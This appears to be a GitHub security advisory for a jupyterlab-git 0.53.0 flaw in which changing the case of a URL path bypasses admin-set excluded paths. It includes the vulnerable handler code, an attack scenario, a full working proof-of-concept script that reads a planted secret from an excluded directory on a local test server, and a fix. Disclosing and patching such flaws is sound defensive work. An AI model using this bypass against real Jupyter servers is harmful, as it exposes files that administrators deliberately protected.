GHSA-436Q-JWFR-RM2H
Vulnerability from github – Published: 2026-06-19 19:36 – Updated: 2026-06-19 19:36Summary
jupyterlab-git 0.53.0 (latest, 2026-04-30) uses fnmatch.fnmatchcase() in GitHandler.prepare() (jupyterlab_git/handlers.py:91) to enforce the admin-configured excluded_paths security control. Because fnmatchcase is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting /git/project/Secrets/... instead of /git/project/secrets/... — gaining read access to git history, file content, and status in directories the administrator explicitly excluded.
Vulnerable Code
# jupyterlab_git/handlers.py:84-92
async def prepare(self):
"""Check if the path should be skipped"""
await ensure_async(super().prepare())
path = self.path_kwargs.get("path")
if path is not None:
excluded_paths = self.git.excluded_paths
for excluded_path in excluded_paths:
if fnmatch.fnmatchcase(path, excluded_path): # ← always case-sensitive
raise tornado.web.HTTPError(404)
Root Cause
fnmatch.fnmatchcase() is unconditionally case-sensitive regardless of the operating system. Contrast with fnmatch.fnmatch() which normalizes via os.path.normcase() on case-insensitive platforms.
fnmatch.fnmatchcase("/project/secrets", "/project/secrets") # True — blocked
fnmatch.fnmatchcase("/project/Secrets", "/project/secrets") # False — bypasses check
On macOS APFS and Windows NTFS, /project/Secrets and /project/secrets resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream url2localpath() resolves the case-varied path to the same filesystem location.
Impact
An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured excluded_paths by varying the case of the URL path segment. This grants:
- Read file content at any git ref (
/contentendpoint) - Read working tree files in the excluded directory
- View git status, log, diff on the excluded path
- Enumerate commits touching excluded files
Attack Scenario
- Admin configures
c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"] - Normal request
POST /git/project/secrets/status→ HTTP 404 (blocked) - Attacker requests
POST /git/project/Secrets/status→ HTTP 200 (bypass) - Attacker reads secret:
POST /git/project/Secrets/contentwith{"filename": "./cred.txt", "reference": {"git": "HEAD"}}→ file content returned
Exploit
See poc.py. Starts a real jupyter-server with jupyterlab-git loaded, configures excluded_paths, and demonstrates bypass + exfiltration via HTTP.
import json, os, shutil, subprocess, sys, tempfile, time
import urllib.request, urllib.error
from jupyterlab_git.handlers import GitHandler # real import, no mock
from jupyterlab_git_core.git import Git
import jupyterlab_git_core
PORT = 18895
TOKEN = "xtoken"
BASE_URL = f"http://127.0.0.1:{PORT}"
SECRET = "sk-PROD-a8f2x9q-LIVE-KEY"
def post(path_seg, endpoint, body=None):
url = f"{BASE_URL}/git/{path_seg}{endpoint}"
data = json.dumps(body or {}).encode()
req = urllib.request.Request(url, data=data, method="POST",
headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"})
try:
resp = urllib.request.urlopen(req, timeout=10)
return resp.status, json.loads(resp.read())
except urllib.error.HTTPError as e:
return e.code, e.read().decode()
def main():
base_dir = tempfile.mkdtemp(prefix="jlgit_")
workspace = os.path.join(base_dir, "workspace")
repo_dir = os.path.join(workspace, "project")
secret_dir = os.path.join(repo_dir, "secrets")
os.makedirs(secret_dir)
with open(os.path.join(secret_dir, "cred.txt"), "w") as f:
f.write(SECRET + "\n")
git_env = {**os.environ, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@x",
"GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@x"}
subprocess.run(["git", "init"], cwd=repo_dir, capture_output=True, check=True)
subprocess.run(["git", "add", "."], cwd=repo_dir, capture_output=True, check=True)
subprocess.run(["git", "commit", "-m", "init"], cwd=repo_dir,
capture_output=True, check=True, env=git_env)
config_path = os.path.join(base_dir, "jupyter_server_config.py")
with open(config_path, "w") as f:
f.write(f'c.ServerApp.root_dir = "{workspace}"\n')
f.write(f'c.ServerApp.token = "{TOKEN}"\n')
f.write(f'c.ServerApp.open_browser = False\n')
f.write(f'c.ServerApp.port = {PORT}\n')
f.write(f'c.ServerApp.ip = "127.0.0.1"\n')
f.write(f'c.ServerApp.disable_check_xsrf = True\n')
f.write(f'c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]\n')
env = os.environ.copy()
env["JUPYTER_CONFIG_DIR"] = base_dir
env["JUPYTER_DATA_DIR"] = base_dir
proc = subprocess.Popen(
[sys.executable, "-m", "jupyter_server", f"--config={config_path}",
"--ServerApp.jpserver_extensions={'jupyterlab_git': True}"],
stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=base_dir)
for _ in range(30):
try:
req = urllib.request.Request(f"{BASE_URL}/api/status",
headers={"Authorization": f"token {TOKEN}"})
if urllib.request.urlopen(req, timeout=2).status == 200:
break
except (urllib.error.URLError, OSError):
pass
time.sleep(0.5)
else:
proc.kill()
shutil.rmtree(base_dir, ignore_errors=True)
sys.exit("server failed to start")
try:
# exclusion works
code, _ = post("project/secrets", "/status")
blocked = code == 404
# bypass
code, _ = post("project/Secrets", "/status")
bypassed = code == 200
# exfiltrate
code, body = post("project/Secrets", "/content",
{"filename": "./cred.txt", "reference": {"git": "HEAD"}})
content = body.get("content", "") if isinstance(body, dict) else ""
exfiltrated = SECRET in content
ok = blocked and bypassed and exfiltrated
print(f"exclusion enforced (lowercase): {blocked}")
print(f"bypass (case-varied): {bypassed}")
print(f"secret exfiltrated: {exfiltrated}")
print(f"result: {'VULNERABLE' if ok else 'NOT CONFIRMED'}")
return ok
finally:
proc.terminate()
proc.wait(timeout=5)
shutil.rmtree(base_dir, ignore_errors=True)
if __name__ == "__main__":
sys.exit(0 if main() else 1)
pip install 'jupyterlab-git==0.53.0'
python poc.py
Fix
if fnmatch.fnmatch(path.lower(), excluded_path.lower()):
raise tornado.web.HTTPError(404)
Or apply os.path.normcase() to both operands before comparison.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.53.0"
},
"package": {
"ecosystem": "PyPI",
"name": "jupyterlab-git"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.54.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54528"
],
"database_specific": {
"cwe_ids": [
"CWE-178"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T19:36:22Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`jupyterlab-git` 0.53.0 (latest, 2026-04-30) uses `fnmatch.fnmatchcase()` in `GitHandler.prepare()` (`jupyterlab_git/handlers.py:91`) to enforce the admin-configured `excluded_paths` security control. Because `fnmatchcase` is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment \u2014 e.g. requesting `/git/project/Secrets/...` instead of `/git/project/secrets/...` \u2014 gaining read access to git history, file content, and status in directories the administrator explicitly excluded.\n\n## Vulnerable Code\n\n```python\n# jupyterlab_git/handlers.py:84-92\nasync def prepare(self):\n \"\"\"Check if the path should be skipped\"\"\"\n await ensure_async(super().prepare())\n path = self.path_kwargs.get(\"path\")\n if path is not None:\n excluded_paths = self.git.excluded_paths\n for excluded_path in excluded_paths:\n if fnmatch.fnmatchcase(path, excluded_path): # \u2190 always case-sensitive\n raise tornado.web.HTTPError(404)\n```\n\n## Root Cause\n\n`fnmatch.fnmatchcase()` is unconditionally case-sensitive regardless of the operating system. Contrast with `fnmatch.fnmatch()` which normalizes via `os.path.normcase()` on case-insensitive platforms.\n\n```python\nfnmatch.fnmatchcase(\"/project/secrets\", \"/project/secrets\") # True \u2014 blocked\nfnmatch.fnmatchcase(\"/project/Secrets\", \"/project/secrets\") # False \u2014 bypasses check\n```\n\nOn macOS APFS and Windows NTFS, `/project/Secrets` and `/project/secrets` resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream `url2localpath()` resolves the case-varied path to the same filesystem location.\n\n## Impact\n\nAn authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured `excluded_paths` by varying the case of the URL path segment. This grants:\n\n- Read file content at any git ref (`/content` endpoint)\n- Read working tree files in the excluded directory\n- View git status, log, diff on the excluded path\n- Enumerate commits touching excluded files\n\n## Attack Scenario\n\n1. Admin configures `c.JupyterLabGit.excluded_paths = [\"/project/secrets\", \"/project/secrets/*\"]`\n2. Normal request `POST /git/project/secrets/status` \u2192 HTTP 404 (blocked)\n3. Attacker requests `POST /git/project/Secrets/status` \u2192 HTTP 200 (bypass)\n4. Attacker reads secret: `POST /git/project/Secrets/content` with `{\"filename\": \"./cred.txt\", \"reference\": {\"git\": \"HEAD\"}}` \u2192 file content returned\n\n## Exploit\n\nSee `poc.py`. Starts a real jupyter-server with jupyterlab-git loaded, configures `excluded_paths`, and demonstrates bypass + exfiltration via HTTP.\n```python\nimport json, os, shutil, subprocess, sys, tempfile, time\nimport urllib.request, urllib.error\n\nfrom jupyterlab_git.handlers import GitHandler # real import, no mock\nfrom jupyterlab_git_core.git import Git\nimport jupyterlab_git_core\n\nPORT = 18895\nTOKEN = \"xtoken\"\nBASE_URL = f\"http://127.0.0.1:{PORT}\"\nSECRET = \"sk-PROD-a8f2x9q-LIVE-KEY\"\n\n\ndef post(path_seg, endpoint, body=None):\n url = f\"{BASE_URL}/git/{path_seg}{endpoint}\"\n data = json.dumps(body or {}).encode()\n req = urllib.request.Request(url, data=data, method=\"POST\",\n headers={\"Authorization\": f\"token {TOKEN}\", \"Content-Type\": \"application/json\"})\n try:\n resp = urllib.request.urlopen(req, timeout=10)\n return resp.status, json.loads(resp.read())\n except urllib.error.HTTPError as e:\n return e.code, e.read().decode()\n\n\ndef main():\n base_dir = tempfile.mkdtemp(prefix=\"jlgit_\")\n workspace = os.path.join(base_dir, \"workspace\")\n repo_dir = os.path.join(workspace, \"project\")\n secret_dir = os.path.join(repo_dir, \"secrets\")\n os.makedirs(secret_dir)\n\n with open(os.path.join(secret_dir, \"cred.txt\"), \"w\") as f:\n f.write(SECRET + \"\\n\")\n\n git_env = {**os.environ, \"GIT_AUTHOR_NAME\": \"a\", \"GIT_AUTHOR_EMAIL\": \"a@x\",\n \"GIT_COMMITTER_NAME\": \"a\", \"GIT_COMMITTER_EMAIL\": \"a@x\"}\n subprocess.run([\"git\", \"init\"], cwd=repo_dir, capture_output=True, check=True)\n subprocess.run([\"git\", \"add\", \".\"], cwd=repo_dir, capture_output=True, check=True)\n subprocess.run([\"git\", \"commit\", \"-m\", \"init\"], cwd=repo_dir,\n capture_output=True, check=True, env=git_env)\n\n config_path = os.path.join(base_dir, \"jupyter_server_config.py\")\n with open(config_path, \"w\") as f:\n f.write(f\u0027c.ServerApp.root_dir = \"{workspace}\"\\n\u0027)\n f.write(f\u0027c.ServerApp.token = \"{TOKEN}\"\\n\u0027)\n f.write(f\u0027c.ServerApp.open_browser = False\\n\u0027)\n f.write(f\u0027c.ServerApp.port = {PORT}\\n\u0027)\n f.write(f\u0027c.ServerApp.ip = \"127.0.0.1\"\\n\u0027)\n f.write(f\u0027c.ServerApp.disable_check_xsrf = True\\n\u0027)\n f.write(f\u0027c.JupyterLabGit.excluded_paths = [\"/project/secrets\", \"/project/secrets/*\"]\\n\u0027)\n\n env = os.environ.copy()\n env[\"JUPYTER_CONFIG_DIR\"] = base_dir\n env[\"JUPYTER_DATA_DIR\"] = base_dir\n proc = subprocess.Popen(\n [sys.executable, \"-m\", \"jupyter_server\", f\"--config={config_path}\",\n \"--ServerApp.jpserver_extensions={\u0027jupyterlab_git\u0027: True}\"],\n stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, cwd=base_dir)\n\n for _ in range(30):\n try:\n req = urllib.request.Request(f\"{BASE_URL}/api/status\",\n headers={\"Authorization\": f\"token {TOKEN}\"})\n if urllib.request.urlopen(req, timeout=2).status == 200:\n break\n except (urllib.error.URLError, OSError):\n pass\n time.sleep(0.5)\n else:\n proc.kill()\n shutil.rmtree(base_dir, ignore_errors=True)\n sys.exit(\"server failed to start\")\n\n try:\n # exclusion works\n code, _ = post(\"project/secrets\", \"/status\")\n blocked = code == 404\n\n # bypass\n code, _ = post(\"project/Secrets\", \"/status\")\n bypassed = code == 200\n\n # exfiltrate\n code, body = post(\"project/Secrets\", \"/content\",\n {\"filename\": \"./cred.txt\", \"reference\": {\"git\": \"HEAD\"}})\n content = body.get(\"content\", \"\") if isinstance(body, dict) else \"\"\n exfiltrated = SECRET in content\n\n ok = blocked and bypassed and exfiltrated\n print(f\"exclusion enforced (lowercase): {blocked}\")\n print(f\"bypass (case-varied): {bypassed}\")\n print(f\"secret exfiltrated: {exfiltrated}\")\n print(f\"result: {\u0027VULNERABLE\u0027 if ok else \u0027NOT CONFIRMED\u0027}\")\n return ok\n\n finally:\n proc.terminate()\n proc.wait(timeout=5)\n shutil.rmtree(base_dir, ignore_errors=True)\n\n\nif __name__ == \"__main__\":\n sys.exit(0 if main() else 1)\n\n```\n\n```bash\npip install \u0027jupyterlab-git==0.53.0\u0027\npython poc.py\n```\n\u003cimg width=\"686\" height=\"146\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f5b8d349-539a-44d7-9b17-d13b5f802625\" /\u003e\n\n\n## Fix\n\n```python\nif fnmatch.fnmatch(path.lower(), excluded_path.lower()):\n raise tornado.web.HTTPError(404)\n```\n\nOr apply `os.path.normcase()` to both operands before comparison.",
"id": "GHSA-436q-jwfr-rm2h",
"modified": "2026-06-19T19:36:22Z",
"published": "2026-06-19T19:36:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jupyterlab/jupyterlab-git/security/advisories/GHSA-436q-jwfr-rm2h"
},
{
"type": "PACKAGE",
"url": "https://github.com/jupyterlab/jupyterlab-git"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "jupyterlab-git excluded_paths Case-Sensitivity Bypass Allows Reading Excluded Directories"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.